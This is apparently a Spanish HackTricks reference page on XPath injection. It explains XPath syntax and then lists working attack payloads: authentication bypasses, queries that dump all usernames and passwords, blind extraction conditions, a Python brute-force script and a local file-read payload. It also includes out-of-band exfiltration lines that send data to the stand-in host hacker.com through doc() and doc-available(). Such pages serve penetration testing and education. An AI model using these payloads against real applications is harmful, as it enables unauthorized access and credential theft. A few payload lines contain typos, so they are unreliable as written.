XPATH injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Sintaxis Básica
Una técnica de ataque conocida como XPath Injection se utiliza para aprovechar aplicaciones que forman consultas XPath (XML Path Language) basadas en la entrada del usuario para consultar o navegar documentos XML.
Nodos Descritos
Las expresiones se utilizan para seleccionar varios nodos en un documento XML. Estas expresiones y sus descripciones se resumen a continuación:
- nodename: Se seleccionan todos los nodos con el nombre “nodename”.
- /: La selección se realiza desde el nodo raíz.
- //: Se seleccionan los nodos que coinciden con la selección desde el nodo actual, independientemente de su ubicación en el documento.
- .: Se selecciona el nodo actual.
- ..: Se selecciona el padre del nodo actual.
- @: Se seleccionan los atributos.
Ejemplos de XPath
Ejemplos de expresiones de ruta y sus resultados incluyen:
- bookstore: Se seleccionan todos los nodos llamados “bookstore”.
- /bookstore: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa con una ruta que comienza con una barra (/).
- bookstore/book: Se seleccionan todos los elementos book que son hijos de bookstore.
- //book: Se seleccionan todos los elementos book en el documento, independientemente de su ubicación.
- bookstore//book: Se seleccionan todos los elementos book que son descendientes del elemento bookstore, sin importar su posición bajo el elemento bookstore.
- //@lang: Se seleccionan todos los atributos llamados lang.
Utilización de Predicados
Los predicados se utilizan para refinar selecciones:
- /bookstore/book[1]: Se selecciona el primer elemento book hijo del elemento bookstore. Una solución alternativa para las versiones de IE 5 a 9, que indexan el primer nodo como [0], es establecer el SelectionLanguage en XPath a través de JavaScript.
- /bookstore/book[last()]: Se selecciona el último elemento book hijo del elemento bookstore.
- /bookstore/book[last()-1]: Se selecciona el penúltimo elemento book hijo del elemento bookstore.
- /bookstore/book[position()<3]: Se seleccionan los dos primeros elementos book hijos del elemento bookstore.
- //title[@lang]: Se seleccionan todos los elementos title con un atributo lang.
- //title[@lang=‘en’]: Se seleccionan todos los elementos title con un valor de atributo “lang” de “en”.
- /bookstore/book[price>35.00]: Se seleccionan todos los elementos book de la bookstore con un precio mayor a 35.00.
- /bookstore/book[price>35.00]/title: Se seleccionan todos los elementos title de los elementos book de la bookstore con un precio mayor a 35.00.
Manejo de Nodos Desconocidos
Se emplean comodines para hacer coincidir nodos desconocidos:
- *: Coincide con cualquier nodo de elemento.
- @*: Coincide con cualquier nodo de atributo.
- node(): Coincide con cualquier nodo de cualquier tipo.
Más ejemplos incluyen:
- /bookstore/*: Selecciona todos los nodos de elemento hijo del elemento bookstore.
- //*: Selecciona todos los elementos en el documento.
- //title[@*]: Selecciona todos los elementos title con al menos un atributo de cualquier tipo.
Ejemplo
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Acceder a la información
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identificar y robar el esquema
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Bypass de Autenticación
Ejemplo de consultas:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
OR bypass en usuario y contraseña (mismo valor en ambos)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abusando de la inyección nula
Username: ' or 1]%00
Doble OR en el nombre de usuario o en la contraseña (es válido con solo 1 campo vulnerable)
IMPORTANTE: Tenga en cuenta que “y” es la primera operación realizada.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extracción de cadenas
La salida contiene cadenas y el usuario puede manipular los valores para buscar:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Explotación Ciega
Obtener la longitud de un valor y extraerlo mediante comparaciones:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Ejemplo de Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Leer archivo
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Explotación OOB
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Herramienta automática
Referencias
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

